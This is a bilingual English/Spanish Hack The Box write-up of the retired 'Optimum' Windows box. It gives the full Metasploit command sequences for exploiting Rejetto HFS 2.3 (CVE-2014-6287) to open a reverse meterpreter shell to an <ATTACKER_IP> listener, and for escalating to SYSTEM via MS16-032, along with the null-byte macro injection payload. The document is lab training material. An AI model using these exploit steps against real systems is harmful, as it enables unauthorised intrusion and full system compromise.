Optimum
Executive summary — Optimum is a classic-chain Easy Windows box: a Rejetto HTTP File Server (HFS) 2.3 vulnerable to RCE (CVE-2014-6287) gives a shell as user
kostas; then an unpatched Windows falls to a local exploit, MS16-032 (Secondary Logon, CVE-2016-0099), up toSYSTEM. A HFS RCE → user → local exploit suggester → SYSTEM path.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.9.132 |
Attack map
[80] Rejetto HFS 2.3 (HttpFileServer)
│ CVE-2014-6287 — null byte in the macro parser → RCE
▼
[SHELL] meterpreter as OPTIMUM\kostas (user.txt.txt)
│ local_exploit_suggester → MS16-032 (Secondary Logon, CVE-2016-0099)
▼
[SYSTEM] NT AUTHORITY\SYSTEM (root.txt)
1. Reconnaissance
We start with a targeted port scan: we only care about what's behind 80/tcp.
nmap -sC -sV -p80 10.129.9.132
80/tcp open http HttpFileServer httpd 2.3
The key detail: the server identifies as HFS 2.3 (Rejetto HTTP File Server), a lightweight file-sharing application and, more importantly, a version with a well-known critical RCE dating back to 2014 — fingerprint the exact version (
-sV) and half the box is solved.
Resumen ejecutivo — Optimum es una Windows Easy de cadena clásica: un Rejetto HTTP File Server (HFS) 2.3 vulnerable a RCE (CVE-2014-6287) da una shell como el usuario
kostas; después, un Windows sin parchear cae con un exploit local, MS16-032 (Secondary Logon, CVE-2016-0099), hastaSYSTEM. Recorrido HFS RCE → user → local exploit suggester → SYSTEM.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.9.132 |
Mapa del ataque
[80] Rejetto HFS 2.3 (HttpFileServer)
│ CVE-2014-6287 — null byte en el parser de macros → RCE
▼
[SHELL] meterpreter como OPTIMUM\kostas (user.txt.txt)
│ local_exploit_suggester → MS16-032 (Secondary Logon, CVE-2016-0099)
▼
[SYSTEM] NT AUTHORITY\SYSTEM (root.txt)
1. Reconocimiento
Empezamos con un escaneo de puertos dirigido: solo nos interesa qué hay detrás del 80/tcp.
nmap -sC -sV -p80 10.129.9.132
80/tcp open http HttpFileServer httpd 2.3
El dato clave: el servidor se identifica como HFS 2.3 (Rejetto HTTP File Server). Es una aplicación de intercambio de ficheros muy ligera y, sobre todo, una versión con una RCE crítica conocida desde 2014 — con identificar la versión exacta (
-sV), media máquina está resuelta.
2. Identify the vulnerability — CVE-2014-6287
searchsploit "HFS 2.3"
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution ...
What CVE-2014-6287 is (CVSS 10.0): the bug lives in
findMacroMarker, insideparserLib.pas— the module HFS uses to interpret template macros ({.exec|command.}) embedded in its requests. The regular expression that validates those macros mishandles a null byte (%00): inserting one into thesearchparameter makes the regex stop treating the rest of the string as plain text and execute the macro's contents as a system command. In practice: an unauthenticated HTTP request with%00{.exec|command.}insearchis enough for remote command execution. It affects HFS 2.3, 2.3a and 2.3b; fixed in 2.3c. Metasploit automates it withexploit/windows/http/rejetto_hfs_exec.
3. Exploitation → shell as kostas
We load Metasploit, search for the module, and configure it with the target and our listener:
msfconsole
search rejetto
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.129.9.132
set RPORT 80
set LHOST <ATTACKER_IP>
set LPORT 4444
show options
run
[*] Meterpreter session 1 opened
getuid → OPTIMUM\kostas
We have initial access as kostas, an unprivileged user.
4. User flag
We drop into a Windows shell inside Meterpreter to browse the filesystem normally:
shell
whoami
optimum\kostas
cd C:\Users\kostas\Desktop
dir
Curious detail: the flag on the desktop isn't named
user.txtbutuser.txt.txt(double extension) — a good reminder to alwaysdir/lsbefore assuming a file's exact name.
type user.txt.txt
exit
5. Local enumeration to escalate
We background the session and use the local exploit suggester, which compares the system's version and patch level against Metasploit's local-exploit database to propose escalation paths:
background
search local_exploit_suggester
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
The service is running, but could not be validated.
The module itself warns that it can't fully validate whether the service is exploitable — it's a heuristic suggestion, not a guarantee. Still, on an unpatched Windows 7/2008 box it's the usual path, so it's worth a shot.
6. Escalation — MS16-032 (CVE-2016-0099)
What MS16-032 is: a privilege-escalation flaw in Windows' Secondary Logon service (Microsoft's March 2016 bulletin, patched by KB3143141). The
CreateProcessWithTokenWandCreateProcessWithLogonWAPIs, although called from the user's own process, are actually dispatched over RPC to the Secondary Logon service, which runs as SYSTEM. That service failed to properly sanitize the standard handles (STARTF_USESTDHANDLES) passed to it, which — combined with a race condition while duplicating tokens — lets an unprivileged process end up inheriting a privileged handle and launch a new process asNT AUTHORITY\SYSTEM.
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
set LHOST <ATTACKER_IP>
set LPORT 4445
show options
run
[+] Holy handle leak Batman, we have a SYSTEM shell!!
[*] Meterpreter session 2 opened
Useful detail: the new session may still show the
C:\Users\kostas\Desktoppath, but what matters is the privilege context, not the current directory. Always confirm withgetuid.
getuid → NT AUTHORITY\SYSTEM
7. Confirming SYSTEM access
shell
whoami
nt authority\system
8. Root flag
cd C:\Users\Administrator\Desktop
dir
type root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Rejetto HFS 2.3 | CVE-2014-6287 — findMacroMarker mishandles null bytes → macro injection {.exec|…} (remote RCE, CVSS 10.0) | Shell as kostas |
| PrivEsc | Windows — Secondary Logon | MS16-032 / CVE-2016-0099 — race condition handling duplicated handles/tokens | SYSTEM |
Lessons learned
- Fingerprint the exact version (
-sV) — half the box: HFS 2.3 → CVE-2014-6287 instantly. - Unmaintained software (HFS hasn't been updated in over a decade) equals a known RCE waiting to be triggered.
- Patch the system: MS16-032 (CVE-2016-0099) only works on Windows missing the March 2016 update (KB3143141).
- The local exploit suggester after a limited shell is the logical step to find an escalation path — even though it admits it can't fully validate its own suggestions.
- Confirm privileges via
getuid/whoami, never the current path: a SYSTEM session can still "live" inside a normal user's desktop. - Never assume a filename: listing the directory (
dir) before reading the flag avoids surprises likeuser.txt.txt.
2. Identificar la vulnerabilidad — CVE-2014-6287
searchsploit "HFS 2.3"
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution ...
Qué es CVE-2014-6287 (CVSS 10.0): el fallo está en la función
findMacroMarkerdeparserLib.pas, el módulo que HFS usa para interpretar macros de plantilla ({.exec|comando.}) dentro de sus peticiones. La expresión regular que valida esas macros no maneja bien un byte nulo (%00): si se inserta uno en el parámetrosearch, el regex deja de reconocer el resto de la cadena como texto y ejecuta el contenido de la macro como comando del sistema. En la práctica: una petición HTTP con%00{.exec|comando.}ensearchbasta para lograr ejecución remota de comandos sin autenticación. Afecta a HFS 2.3, 2.3a y 2.3b; se corrige en la 2.3c. Metasploit lo automatiza con el móduloexploit/windows/http/rejetto_hfs_exec.
3. Explotación → shell como kostas
Cargamos Metasploit, buscamos el módulo y lo configuramos con el objetivo y nuestro listener:
msfconsole
search rejetto
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.129.9.132
set RPORT 80
set LHOST <ATTACKER_IP>
set LPORT 4444
show options
run
[*] Meterpreter session 1 opened
getuid → OPTIMUM\kostas
Tenemos acceso inicial como kostas, un usuario sin privilegios especiales.
4. User flag
Abrimos una shell de Windows dentro de Meterpreter para movernos por el sistema de archivos con normalidad:
shell
whoami
optimum\kostas
cd C:\Users\kostas\Desktop
dir
Detalle curioso: la flag en el escritorio no se llama
user.txtsinouser.txt.txt(doble extensión). Es un recordatorio de por qué convienedir/lssiempre antes de asumir el nombre exacto de un fichero.
type user.txt.txt
exit
5. Enumeración local para escalar
Mandamos la sesión a segundo plano y usamos el local exploit suggester, que compara la versión y parches del sistema contra la base de exploits locales de Metasploit para proponer vías de escalada:
background
search local_exploit_suggester
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
The service is running, but could not be validated.
El propio módulo avisa de que no puede validar al 100% que el servicio sea explotable; es una sugerencia heurística, no una garantía. Aun así, en Windows 7/2008 sin parchear es la vía habitual, así que merece la pena intentarlo.
6. Escalada — MS16-032 (CVE-2016-0099)
Qué es MS16-032: un fallo de elevación de privilegios en el servicio Secondary Logon de Windows (boletín de Microsoft de marzo de 2016, parcheado en la KB3143141). Las APIs
CreateProcessWithTokenWyCreateProcessWithLogonW, aunque se llaman desde el proceso del usuario, en realidad se despachan por RPC al servicio Secondary Logon, que corre como SYSTEM. Ese servicio no saneaba correctamente los handles estándar (STARTF_USESTDHANDLES) que se le pasaban, lo que permite — combinado con una condición de carrera al duplicar tokens — que un proceso sin privilegios acabe heredando un handle privilegiado y lance un nuevo proceso comoNT AUTHORITY\SYSTEM.
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
set LHOST <ATTACKER_IP>
set LPORT 4445
show options
run
[+] Holy handle leak Batman, we have a SYSTEM shell!!
[*] Meterpreter session 2 opened
Detalle útil: la nueva sesión puede seguir mostrando la ruta de
C:\Users\kostas\Desktop, pero lo que importa es el contexto de privilegios, no el directorio actual. Se confirma siempre congetuid.
getuid → NT AUTHORITY\SYSTEM
7. Confirmar el acceso SYSTEM
shell
whoami
nt authority\system
8. Root flag
cd C:\Users\Administrator\Desktop
dir
type root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Rejetto HFS 2.3 | CVE-2014-6287 — findMacroMarker no filtra bytes nulos → inyección de macro {.exec|…} (RCE remota, CVSS 10.0) | Shell como kostas |
| PrivEsc | Windows — Secondary Logon | MS16-032 / CVE-2016-0099 — condición de carrera al manejar handles y tokens duplicados | SYSTEM |
Lecciones aprendidas
- Identificar la versión exacta (
-sV) es media máquina: HFS 2.3 → CVE-2014-6287 al instante. - Software sin mantenimiento (HFS lleva más de una década sin actualizarse) equivale a una RCE conocida esperando a ser explotada.
- Parchea el sistema: MS16-032 (CVE-2016-0099) solo funciona en Windows sin la actualización de marzo de 2016 (KB3143141).
- El local exploit suggester tras una shell limitada es el paso lógico para encontrar vías de escalada — aunque avise de que no puede validar el 100% de sus sugerencias.
- Confirma privilegios por
getuid/whoami, nunca por la ruta actual: una sesión SYSTEM puede seguir "viviendo" en el escritorio de un usuario normal. - No des por hecho el nombre de un fichero: listar el directorio (
dir) antes de leer la flag evita sorpresas comouser.txt.txt.